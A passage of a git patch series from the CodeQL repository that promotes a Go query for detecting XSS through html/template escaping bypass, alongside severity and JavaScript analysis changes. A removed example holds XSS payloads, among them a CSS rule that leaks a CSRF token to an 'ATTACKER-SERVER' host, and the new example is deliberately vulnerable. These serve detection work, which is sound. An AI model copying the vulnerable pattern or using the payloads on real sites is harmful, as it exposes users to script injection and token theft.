byte, v interface{}) (err error) { +func unmarshal(data []byte, payloadType byte, v any) (err error) { return nil } @@ -30,7 +30,7 @@ func xss(w http.ResponseWriter, r *http.Request) { var xnet = make([]byte, 512) // $ Source[go/reflected-xss] ws.Read(xnet) fmt.Fprintf(w, "%v", xnet) // $ Alert[go/reflected-xss] - codec := &websocket.Codec{marshal, unmarshal} + codec := &websocket.Codec{Marshal: marshal, Unmarshal: unmarshal} xnet2 := make([]byte, 512) // $ Source[go/reflected-xss] codec.Receive(ws, xnet2) fmt.Fprintf(w, "%v", xnet2) // $ Alert[go/reflected-xss] From 3b934b8898294c0fbe9c34ab55270c70abc10abe Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 13:58:11 +0100 Subject: [PATCH 014/271] Add comment on importance of `Function.getACall()` --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index e8a4202a98f..3f7c89e720a 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -25,6 +25,11 @@ class UnescapedType extends Type { /** * Holds if the sink is a data value argument of a template execution call. + * + * Note that this is slightly more general than + * `SharedXss::HtmlTemplateSanitizer` because it uses `Function.getACall()`, + * which finds calls through interfaces which the receiver implements. This + * finds more results in practice. */ predicate isSinkToTemplateExec(DataFlow::Node sink) { exists(Method fn, string methodName, DataFlow::CallNode call | From 38dcc1cb843b8dd23a86780f5165a42316d66b6a Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 17:19:31 +0100 Subject: [PATCH 015/271] Fix QLDoc --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index 3f7c89e720a..dd67df44fe6 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -52,7 +52,8 @@ module UntrustedToTemplateExecWithConversionConfig implements DataFlow::StateCon TConverted(UnescapedType unescapedType) /** - * Flow state for tracking whether a conversion to an unescaped type has occurred. + * The flow state for tracking whether a conversion to an unescaped type has + * occurred. */ class FlowState extends TConversionState { predicate isBeforeConversion() { this instanceof TUnconverted } From f8791861c70ec02622e7b30b07cd5f10547506e4 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Fri, 25 Apr 2025 17:18:53 +0100 Subject: [PATCH 016/271] Add missing metadata --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 2 ++ 1 file changed, 2 insertions(+) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index dd67df44fe6..6dc0f702841 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -5,6 +5,8 @@ * scripting vulnerability. * @kind path-problem * @problem.severity error + * @security-severity 6.1 + * @precision high * @id go/html-template-escaping-bypass-xss * @tags security * external/cwe/cwe-079 From 6e3b959f6110f29a691e3dae583f2bb98283ea85 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Wed, 30 Apr 2025 14:15:14 +0100 Subject: [PATCH 017/271] Reword qhelp slightly --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp index 50659b0ba3e..2a0d27304c9 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.qhelp @@ -8,7 +8,7 @@ that allow values to be rendered as-is in the template, avoiding the escaping that all the other strings go through.

-

Using them on user-provided values will result in an opportunity for XSS.

+

Using them on user-provided values allows for a cross-site scripting vulnerability.

From 00cc430ac3a41d6cb2c1eb0f7f93d77340c8cd21 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 15:50:50 +0100 Subject: [PATCH 018/271] Make examples in qhelp shorter and more realistic --- .../HtmlTemplateEscapingBypassXssBad.go | 69 ++----------------- .../HtmlTemplateEscapingBypassXssGood.go | 14 ++-- 2 files changed, 12 insertions(+), 71 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go index a23dfa153de..d9bd46a6b9d 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssBad.go @@ -2,69 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -func main() {} -func source(s string) string { - return s -} - -type HTMLAlias = template.HTML - -func checkError(err error) { - if err != nil { - panic(err) - } -} - -// bad is an example of a bad implementation -func bad() { - tmpl, _ := template.New("test").Parse(`Hi {{.}}\n`) - tmplTag, _ := template.New("test").Parse(`Hi \n`) - tmplScript, _ := template.New("test").Parse(``) - tmplSrcset, _ := template.New("test").Parse(``) - - { - { - var a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - { - var a template.HTML - a = template.HTML(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - { - var a HTMLAlias - a = HTMLAlias(source(`link`)) - checkError(tmpl.Execute(os.Stdout, a)) - } - } - } - { - var c = template.HTMLAttr(source(`href="https://example.com"`)) - checkError(tmplTag.Execute(os.Stdout, c)) - } - { - var d = template.JS(source("alert({hello: 'world'})")) - checkError(tmplScript.Execute(os.Stdout, d)) - } - { - var e = template.JSStr(source("setTimeout('alert()')")) - checkError(tmplScript.Execute(os.Stdout, e)) - } - { - var b = template.CSS(source("input[name='csrftoken'][value^='b'] { background: url(//ATTACKER-SERVER/leak/b); } ")) - checkError(tmpl.Execute(os.Stdout, b)) - } - { - var f = template.Srcset(source(`evil.jpg 320w`)) - checkError(tmplSrcset.Execute(os.Stdout, f)) - } - { - var g = template.URL(source("javascript:alert(1)")) - checkError(tmpl.Execute(os.Stdout, g)) - } +func bad(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, template.HTML(username)) } diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go index 3c0a8ad4eb4..8460f00ba1d 100755 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXssGood.go @@ -2,14 +2,12 @@ package main import ( "html/template" - "os" + "net/http" ) -// good is an example of a good implementation -func good() { - tmpl, _ := template.New("test").Parse(`Hello, {{.}}\n`) - { // This will be escaped: - var escaped = source(`link`) - checkError(tmpl.Execute(os.Stdout, escaped)) - } +func good(w http.ResponseWriter, r *http.Request) { + r.ParseForm() + username := r.Form.Get("username") + tmpl, _ := template.New("test").Parse(`Hi {{.}}`) + tmpl.Execute(w, username) } From 8283d30d941344abc64297a0abb48e2fbf31192c Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 15:51:03 +0100 Subject: [PATCH 019/271] Avoid deprecated function in qhelp examples in same folder --- go/ql/src/Security/CWE-079/StoredXss.go | 4 ++-- go/ql/src/Security/CWE-079/StoredXssGood.go | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/go/ql/src/Security/CWE-079/StoredXss.go b/go/ql/src/Security/CWE-079/StoredXss.go index 008b738f4ca..192774f0307 100644 --- a/go/ql/src/Security/CWE-079/StoredXss.go +++ b/go/ql/src/Security/CWE-079/StoredXss.go @@ -2,12 +2,12 @@ package main import ( "io" - "io/ioutil" "net/http" + "os" ) func ListFiles(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, file.Name()+"\n") diff --git a/go/ql/src/Security/CWE-079/StoredXssGood.go b/go/ql/src/Security/CWE-079/StoredXssGood.go index d73a205ff3f..a7843e1cfe5 100644 --- a/go/ql/src/Security/CWE-079/StoredXssGood.go +++ b/go/ql/src/Security/CWE-079/StoredXssGood.go @@ -3,12 +3,12 @@ package main import ( "html" "io" - "io/ioutil" "net/http" + "os" ) func ListFiles1(w http.ResponseWriter, r *http.Request) { - files, _ := ioutil.ReadDir(".") + files, _ := os.ReadDir(".") for _, file := range files { io.WriteString(w, html.EscapeString(file.Name())+"\n") From bef38a4dcefcb25e3265470ea4b6a243be891786 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 16:04:47 +0100 Subject: [PATCH 020/271] Add change note --- .../2025-05-01-html-template-escaping-bypass-xss.md | 4 ++++ 1 file changed, 4 insertions(+) create mode 100644 go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md new file mode 100644 index 00000000000..ab02478bf4a --- /dev/null +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -0,0 +1,4 @@ +--- +category: newQuery +--- +* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . From 9ba47eb65536bb723eea5ab73af3d9e2212b233f Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 21:51:12 +0100 Subject: [PATCH 021/271] Update query suite inclusion integration tests --- .../integration-tests/query-suite/go-code-scanning.qls.expected | 1 + .../query-suite/go-security-and-quality.qls.expected | 1 + .../query-suite/go-security-extended.qls.expected | 1 + go/ql/integration-tests/query-suite/not_included_in_qls.expected | 1 - 4 files changed, 3 insertions(+), 1 deletion(-) diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected index 609e21e82ec..20fcacbc389 100644 --- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected +++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 46f21d921ef..7ff321d24ab 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index a206ef2364a..3506e1020dd 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index 751c76041a2..ac2e3cb4c3a 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -20,7 +20,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql ql/go/ql/src/experimental/CWE-74/DsnInjection.ql ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql -ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql ql/go/ql/src/experimental/CWE-918/SSRF.ql From c933ab4ae225c674f273cdb1cc463cfa918f7438 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan <62447351+owen-mc@users.noreply.github.com> Date: Mon, 12 May 2025 16:24:56 -0400 Subject: [PATCH 022/271] Apply suggestions from code review Co-authored-by: Chris Smowton --- go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql | 2 +- .../2025-05-01-html-template-escaping-bypass-xss.md | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql index 6dc0f702841..0618c8e8888 100644 --- a/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql +++ b/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql @@ -1,5 +1,5 @@ /** - * @name HTML template escaping bypass cross-site scripting + * @name Cross-site scripting via HTML template escaping bypass * @description Converting user input to a special type that avoids escaping * when fed into an HTML template allows for a cross-site * scripting vulnerability. diff --git a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md index ab02478bf4a..dc86e5b869d 100644 --- a/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md +++ b/go/ql/src/change-notes/2025-05-01-html-template-escaping-bypass-xss.md @@ -1,4 +1,4 @@ --- category: newQuery --- -* A new query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . +* Query (`go/html-template-escaping-bypass-xss`) has been promoted to the main query suite. This query finds potential cross-site scripting (XSS) vulnerabilities when using the `html/template` package, caused by user input being cast to a type which bypasses the HTML autoescaping. It was originally contributed to the experimental query pack by @gagliardetto in . From 8a81aa1762b26a9b1db8ad564bd74f73c512672d Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Mon, 19 May 2025 14:43:08 -0400 Subject: [PATCH 023/271] Set CWE-134 from 9.3 to 7.3 CVSS score for memory safe languages - Sync up to score given to javascript/ruby --- .../src/Security Features/CWE-134/UncontrolledFormatString.ql | 2 +- .../Security/CWE/CWE-134/ExternallyControlledFormatString.ql | 2 +- .../ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql index b99839226c5..3fc132eb301 100644 --- a/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql +++ b/csharp/ql/src/Security Features/CWE-134/UncontrolledFormatString.ql @@ -4,7 +4,7 @@ * and cause a denial of service. * @kind path-problem * @problem.severity error - * @security-severity 9.3 + * @security-severity 7.3 * @precision high * @id cs/uncontrolled-format-string * @tags security diff --git a/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql b/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql index fc5af977a33..ffb191327a2 100644 --- a/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql +++ b/java/ql/src/Security/CWE/CWE-134/ExternallyControlledFormatString.ql @@ -3,7 +3,7 @@ * @description Using external input in format strings can lead to exceptions or information leaks. * @kind path-problem * @problem.severity error - * @security-severity 9.3 + * @security-severity 7.3 * @precision high * @id java/tainted-format-string * @tags security diff --git a/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql b/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql index 7f6ea32341b..4376f0f4c0f 100644 --- a/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql +++ b/swift/ql/src/queries/Security/CWE-134/UncontrolledFormatString.ql @@ -3,7 +3,7 @@ * @description Using external input in format strings can lead to exceptions or information leaks. * @kind path-problem * @problem.severity error - * @security-severity 9.3 + * @security-severity 7.3 * @precision high * @id swift/uncontrolled-format-string * @tags security From 5064cd5d94a2e72fd19f8bd1dfb985293da6c5d6 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 12:52:39 +0200 Subject: [PATCH 024/271] JS: Exclude externs from CallGraph meta-query --- javascript/ql/src/meta/alerts/CallGraph.ql | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/javascript/ql/src/meta/alerts/CallGraph.ql b/javascript/ql/src/meta/alerts/CallGraph.ql index 364d81e32c9..c721e72f640 100644 --- a/javascript/ql/src/meta/alerts/CallGraph.ql +++ b/javascript/ql/src/meta/alerts/CallGraph.ql @@ -12,7 +12,10 @@ import javascript from DataFlow::Node invoke, Function f, string kind where - invoke.(DataFlow::InvokeNode).getACallee() = f and kind = "Call" - or - invoke.(DataFlow::PropRef).getAnAccessorCallee().getFunction() = f and kind = "Accessor call" + ( + invoke.(DataFlow::InvokeNode).getACallee() = f and kind = "Call" + or + invoke.(DataFlow::PropRef).getAnAccessorCallee().getFunction() = f and kind = "Accessor call" + ) and + not f.getTopLevel().isExterns() select invoke, kind + " to $@", f, f.describe() From 9fc0b8c9ccf616824988bb3a9ddfc4bdba79a974 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 11 Mar 2025 11:50:06 +0100 Subject: [PATCH 025/271] JS: Add ImportSpecifier.getImportDeclaration() --- javascript/ql/lib/semmle/javascript/ES2015Modules.qll | 3 +++ 1 file changed, 3 insertions(+) diff --git a/javascript/ql/lib/semmle/javascript/ES2015Modules.qll b/javascript/ql/lib/semmle/javascript/ES2015Modules.qll index 379403eb0ee..e7534449f55 100644 --- a/javascript/ql/lib/semmle/javascript/ES2015Modules.qll +++ b/javascript/ql/lib/semmle/javascript/ES2015Modules.qll @@ -180,6 +180,9 @@ deprecated private class LiteralImportPath extends PathExpr, ConstantString { * ``` */ class ImportSpecifier extends Expr, @import_specifier { + /** Gets the import declaration in which this specifier appears. */ + ImportDeclaration getImportDeclaration() { result.getASpecifier() = this } + /** Gets the imported symbol; undefined for default and namespace import specifiers. */ Identifier getImported() { result = this.getChildExpr(0) } From 50e4ac82985f7315ccac039d9c0487edb1e965dd Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 12:58:54 +0200 Subject: [PATCH 026/271] JS: Do not ignore variables from ambient declarations --- .../extractor/src/com/semmle/js/extractor/ScopeManager.java | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java index e7306e77e01..43e70160fe8 100644 --- a/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java +++ b/javascript/extractor/src/com/semmle/js/extractor/ScopeManager.java @@ -426,7 +426,6 @@ public class ScopeManager { // cases where we turn on the 'declKind' flags @Override public Void visit(FunctionDeclaration nd, Void v) { - if (nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile()) return null; // strict mode functions are block-scoped, non-strict mode ones aren't if (blockscope == isStrict) visit(nd.getId(), DeclKind.var); return null; @@ -434,7 +433,6 @@ public class ScopeManager { @Override public Void visit(ClassDeclaration nd, Void c) { - if (nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile()) return null; if (blockscope) visit(nd.getClassDef().getId(), DeclKind.varAndType); return null; } @@ -483,7 +481,6 @@ public class ScopeManager { @Override public Void visit(VariableDeclaration nd, Void v) { - if (nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile()) return null; // in block scoping mode, only process 'let'; in non-block scoping // mode, only process non-'let' if (blockscope == nd.isBlockScoped(ecmaVersion)) visit(nd.getDeclarations()); @@ -518,8 +515,7 @@ public class ScopeManager { @Override public Void visit(NamespaceDeclaration nd, Void c) { if (blockscope) return null; - boolean isAmbientOutsideDtsFile = nd.hasDeclareKeyword() && !isInTypeScriptDeclarationFile(); - boolean hasVariable = nd.isInstantiated() && !isAmbientOutsideDtsFile; + boolean hasVariable = nd.isInstantiated(); visit(nd.getName(), hasVariable ? DeclKind.varAndNamespace : DeclKind.namespace); return null; } From b5a4fc0041cfaba089b2aa1ba0e8bd87208a2fed Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 11 Apr 2025 13:00:47 +0200 Subject: [PATCH 027/271] JS: Make Closure concepts based on AST instead --- .../ql/lib/semmle/javascript/Closure.qll | 101 +++++++++++------- .../semmle/javascript/GlobalAccessPaths.qll | 6 +- 2 files changed, 67 insertions(+), 40 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/Closure.qll b/javascript/ql/lib/semmle/javascript/Closure.qll index 40aee266379..c3169833339 100644 --- a/javascript/ql/lib/semmle/javascript/Closure.qll +++ b/javascript/ql/lib/semmle/javascript/Closure.qll @@ -5,17 +5,49 @@ import javascript module Closure { + /** A call to `goog.require` */ + class RequireCallExpr extends CallExpr { + RequireCallExpr() { this.getCallee().(PropAccess).getQualifiedName() = "goog.require" } + + /** Gets the imported namespace name. */ + string getClosureNamespace() { result = this.getArgument(0).getStringValue() } + } + + /** A call to `goog.provide` */ + class ProvideCallExpr extends CallExpr { + ProvideCallExpr() { this.getCallee().(PropAccess).getQualifiedName() = "goog.provide" } + + /** Gets the imported namespace name. */ + string getClosureNamespace() { result = this.getArgument(0).getStringValue() } + } + + /** A call to `goog.module` or `goog.declareModuleId`. */ + private class ModuleDeclarationCall extends CallExpr { + private string kind; + + ModuleDeclarationCall() { + this.getCallee().(PropAccess).getQualifiedName() = kind and + kind = ["goog.module", "goog.declareModuleId"] + } + + /** Gets the declared namespace. */ + string getClosureNamespace() { result = this.getArgument(0).getStringValue() } + + /** Gets the string `goog.module` or `goog.declareModuleId` depending on which method is being called. */ + string getModuleKind() { result = kind } + } + /** * A reference to a Closure namespace. */ - class ClosureNamespaceRef extends DataFlow::Node instanceof ClosureNamespaceRef::Range { + deprecated class ClosureNamespaceRef extends DataFlow::Node instanceof ClosureNamespaceRef::Range { /** * Gets the namespace being referenced. */ string getClosureNamespace() { result = super.getClosureNamespace() } } - module ClosureNamespaceRef { + deprecated module ClosureNamespaceRef { /** * A reference to a Closure namespace. * @@ -32,10 +64,10 @@ module Closure { /** * A data flow node that returns the value of a closure namespace. */ - class ClosureNamespaceAccess extends ClosureNamespaceRef instanceof ClosureNamespaceAccess::Range { - } + deprecated class ClosureNamespaceAccess extends ClosureNamespaceRef instanceof ClosureNamespaceAccess::Range + { } - module ClosureNamespaceAccess { + deprecated module ClosureNamespaceAccess { /** * A data flow node that returns the value of a closure namespace. * @@ -47,7 +79,7 @@ module Closure { /** * A call to a method on the `goog.` namespace, as a closure reference. */ - abstract private class DefaultNamespaceRef extends DataFlow::MethodCallNode, + abstract deprecated private class DefaultNamespaceRef extends DataFlow::MethodCallNode, ClosureNamespaceRef::Range { DefaultNamespaceRef() { this = DataFlow::globalVarRef("goog").getAMethodCall() } @@ -59,14 +91,14 @@ module Closure { * Holds if `node` is the data flow node corresponding to the expression in * a top-level expression statement. */ - private predicate isTopLevelExpr(DataFlow::Node node) { + deprecated private predicate isTopLevelExpr(DataFlow::Node node) { any(TopLevel tl).getAChildStmt().(ExprStmt).getExpr().flow() = node } /** * A top-level call to `goog.provide`. */ - private class DefaultClosureProvideCall extends DefaultNamespaceRef { + deprecated private class DefaultClosureProvideCall extends DefaultNamespaceRef { DefaultClosureProvideCall() { this.getMethodName() = "provide" and isTopLevelExpr(this) @@ -76,13 +108,14 @@ module Closure { /** * A top-level call to `goog.provide`. */ - class ClosureProvideCall extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureProvideCall + deprecated class ClosureProvideCall extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureProvideCall { } /** * A call to `goog.require`. */ - private class DefaultClosureRequireCall extends DefaultNamespaceRef, ClosureNamespaceAccess::Range + deprecated private class DefaultClosureRequireCall extends DefaultNamespaceRef, + ClosureNamespaceAccess::Range { DefaultClosureRequireCall() { this.getMethodName() = "require" } } @@ -90,13 +123,13 @@ module Closure { /** * A call to `goog.require`. */ - class ClosureRequireCall extends ClosureNamespaceAccess, DataFlow::MethodCallNode instanceof DefaultClosureRequireCall + deprecated class ClosureRequireCall extends ClosureNamespaceAccess, DataFlow::MethodCallNode instanceof DefaultClosureRequireCall { } /** * A top-level call to `goog.module` or `goog.declareModuleId`. */ - private class DefaultClosureModuleDeclaration extends DefaultNamespaceRef { + deprecated private class DefaultClosureModuleDeclaration extends DefaultNamespaceRef { DefaultClosureModuleDeclaration() { (this.getMethodName() = "module" or this.getMethodName() = "declareModuleId") and isTopLevelExpr(this) @@ -106,41 +139,29 @@ module Closure { /** * A top-level call to `goog.module` or `goog.declareModuleId`. */ - class ClosureModuleDeclaration extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureModuleDeclaration + deprecated class ClosureModuleDeclaration extends ClosureNamespaceRef, DataFlow::MethodCallNode instanceof DefaultClosureModuleDeclaration { } - private GlobalVariable googVariable() { variables(result, "goog", any(GlobalScope sc)) } - - pragma[nomagic] - private MethodCallExpr googModuleDeclExpr() { - result.getReceiver() = googVariable().getAnAccess() and - result.getMethodName() = ["module", "declareModuleId"] - } - - pragma[nomagic] - private MethodCallExpr googModuleDeclExprInContainer(StmtContainer container) { - result = googModuleDeclExpr() and - container = result.getContainer() - } - pragma[noinline] - private ClosureRequireCall getARequireInTopLevel(ClosureModule m) { result.getTopLevel() = m } + private RequireCallExpr getARequireInTopLevel(ClosureModule m) { result.getTopLevel() = m } /** * A module using the Closure module system, declared using `goog.module()` or `goog.declareModuleId()`. */ class ClosureModule extends Module { - ClosureModule() { exists(googModuleDeclExprInContainer(this)) } + private ModuleDeclarationCall decl; + + ClosureModule() { decl.getTopLevel() = this } /** * Gets the call to `goog.module` or `goog.declareModuleId` in this module. */ - ClosureModuleDeclaration getModuleDeclaration() { result.getTopLevel() = this } + deprecated ClosureModuleDeclaration getModuleDeclaration() { result.getTopLevel() = this } /** * Gets the namespace of this module. */ - string getClosureNamespace() { result = this.getModuleDeclaration().getClosureNamespace() } + string getClosureNamespace() { result = decl.getClosureNamespace() } override Module getAnImportedModule() { result.(ClosureModule).getClosureNamespace() = @@ -156,7 +177,7 @@ module Closure { * Has no result for ES6 modules using `goog.declareModuleId`. */ Variable getExportsVariable() { - this.getModuleDeclaration().getMethodName() = "module" and + decl.getModuleKind() = "goog.module" and result = this.getScope().getVariable("exports") } @@ -185,15 +206,15 @@ module Closure { ClosureScript() { not this instanceof ClosureModule and ( - any(ClosureProvideCall provide).getTopLevel() = this + any(ProvideCallExpr provide).getTopLevel() = this or - any(ClosureRequireCall require).getTopLevel() = this + any(RequireCallExpr require).getTopLevel() = this ) } /** Gets the identifier of a namespace required by this module. */ string getARequiredNamespace() { - exists(ClosureRequireCall require | + exists(RequireCallExpr require | require.getTopLevel() = this and result = require.getClosureNamespace() ) @@ -201,7 +222,7 @@ module Closure { /** Gets the identifer of a namespace provided by this module. */ string getAProvidedNamespace() { - exists(ClosureProvideCall require | + exists(ProvideCallExpr require | require.getTopLevel() = this and result = require.getClosureNamespace() ) @@ -213,7 +234,13 @@ module Closure { */ pragma[noinline] predicate isClosureNamespace(string name) { - exists(string namespace | namespace = any(ClosureNamespaceRef ref).getClosureNamespace() | + exists(string namespace | + namespace = + [ + any(RequireCallExpr ref).getClosureNamespace(), + any(ModuleDeclarationCall c).getClosureNamespace() + ] + | name = 